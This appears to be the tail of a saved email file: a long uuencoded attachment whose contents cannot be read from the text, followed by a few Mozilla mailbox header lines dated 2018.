MO+93JJBG.GY"(2L$.PRF@G%8P2,ZWHD)6%26&`65+I)>?IF-CR7-RY!7MTI]
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
.#:+Q]O\!-6U&P&H/`P!E
`
end


From - Thu Nov 08 21:14:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
